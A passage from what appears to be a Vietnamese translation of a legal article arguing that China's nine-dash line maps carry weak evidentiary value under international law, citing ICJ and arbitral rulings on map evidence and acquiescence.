cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng 